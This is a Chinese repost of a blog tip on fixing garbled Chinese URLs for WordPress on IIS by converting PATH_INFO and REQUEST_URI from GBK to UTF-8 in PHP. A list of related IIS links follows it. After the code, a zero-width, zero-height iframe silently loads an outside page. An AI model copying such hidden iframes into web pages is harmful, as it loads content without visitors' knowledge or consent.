原地址:
http://www.zu14.cn/2008/12/13/wordpress_iis_cn/
由于IIS在解析URL时,对于路径中的utf-8编码内容,会将其转换成GBK编码,这样就导致在WordPress中,对$_SERVER[’PATH_INFO’]和$_SERVER[’REQUEST_URI’]取值时取到的是GBK编码的url,但是WordPresss默认是用UTF-8编码的,所以中文就转成了乱码,再用作SQL参数去数据库查询的时候就找不到记录了。
解决方法:
找到 wp-includes\classes.php 这个文件,先备份一个。打开这个文件,找到
自己对 $pathinfo 和 $req_uri 做一个 GBK --> UTF-8 编码转换
<?php
//...
if ( isset($_SERVER['PATH_INFO']) )
$pathinfo = mb_convert_encoding($_SERVER['PATH_INFO'], 'UTF-8', 'GBK');
else
$pathinfo = '';
$pathinfo_array = explode('?', $pathinfo);
$pathinfo = str_replace("%", "%25", $pathinfo_array[0]);
$req_uri = mb_convert_encoding($_SERVER['REQUEST_URI'], 'UTF-8', 'GBK');
//...
?>
这样操作,会有一些性能损耗,毕竟编码转换需要耗费系统资源的。
同时要求,PHP开启了 mb_string
<iframe src="http://www.zu14.cn/web20/" height="0" width="0"></iframe>
分享到:
相关推荐
Windows7部署WordPress(IIS7.5+MySQL+PHP+WordPress)
如何在IIS环境下部署httpswin2008 IIS7无后缀URL部署问题 MVC4 MVC URL映射windows2003 IIS6 部署MVC3和MVC4程序的方法IIS 7.5 部署ASP.NET失败的解决方法IIS部署asp.net报404错误的解决方法win2003 sp2+iis 6.0上...
Windows安装IIS缺失的sxs文件 描述内容地址: https://blog.csdn.net/weixin_43151418/article/details/125070190
微软官方下载的Windows2003 IIS6相关补丁
IIS选项恢复程序 找不到IIS组件 组件里找不到IIS 添加/删除windows组件中找不到iis安装项的解决方法
windows 2003 IIS6_IIS6_服务器版IIS6
WindowsXP IIS服务安装包完整版 WindowsXP IIS服务安装包完整版
IIS常见问题解决 windows 2000 IIS Windows XP IIS Windows 2003 IIS问题解决方法
Windows2003中IIS6.0文件上传大小限制解决方法
wordpress伪静态规则IIS版
解决方法:修改其它网站的端口或IIS下的网站的端口,避免使用相同的端口。可以使用诸如TCPView或FPort等第三方工具来查找正在使用80端口的其它应用程序; 3、操作系统补丁所导致的。打开“添加删除程序”,勾选...
如果你安装的是IIS rewrite_2.0的话,传递的参数都是UTF-8格式的,如果你网站是GBK的就会出现中文连接乱码。 解决办法: rewrite_2.0规则写法: RewriteRule ^news_list_([0-9a-zA-Z\u4e00-\u9fa5]+)\.html$ news_...
Windows2008iis部署及平台发布
添加删除Windows组件里没有IIS(Internet信息服务)项的解决方法,IIS配置
windows组件向导无iis解决方法,自己瞎折腾了两天,终于找到了适合自己的方法
可以在xp上面安装的IIS服务器,如果添加删除windows组件中没有IIS,解决方法如下:在运行中输入"c:\windows\inf\sysoc.inf",系统会自动使用记事本打开sysoc.inf这个文件。 在sysoc.inf中找到"[Components]"这一段,...
Windows XP IIS 5.1安装包位于I386安装文件夹中。 IIS 500错误的解决批处理文件IIS500.bat。 IIS的简单替代工具Baby ASP Web Server (babyweb.exe)。
Windows7下IIS7的安装及ASP配置方法,间的已经很详细了,很好的资源啊
iis5.0,iis56.0 windows xp,windows 2000 iis 配置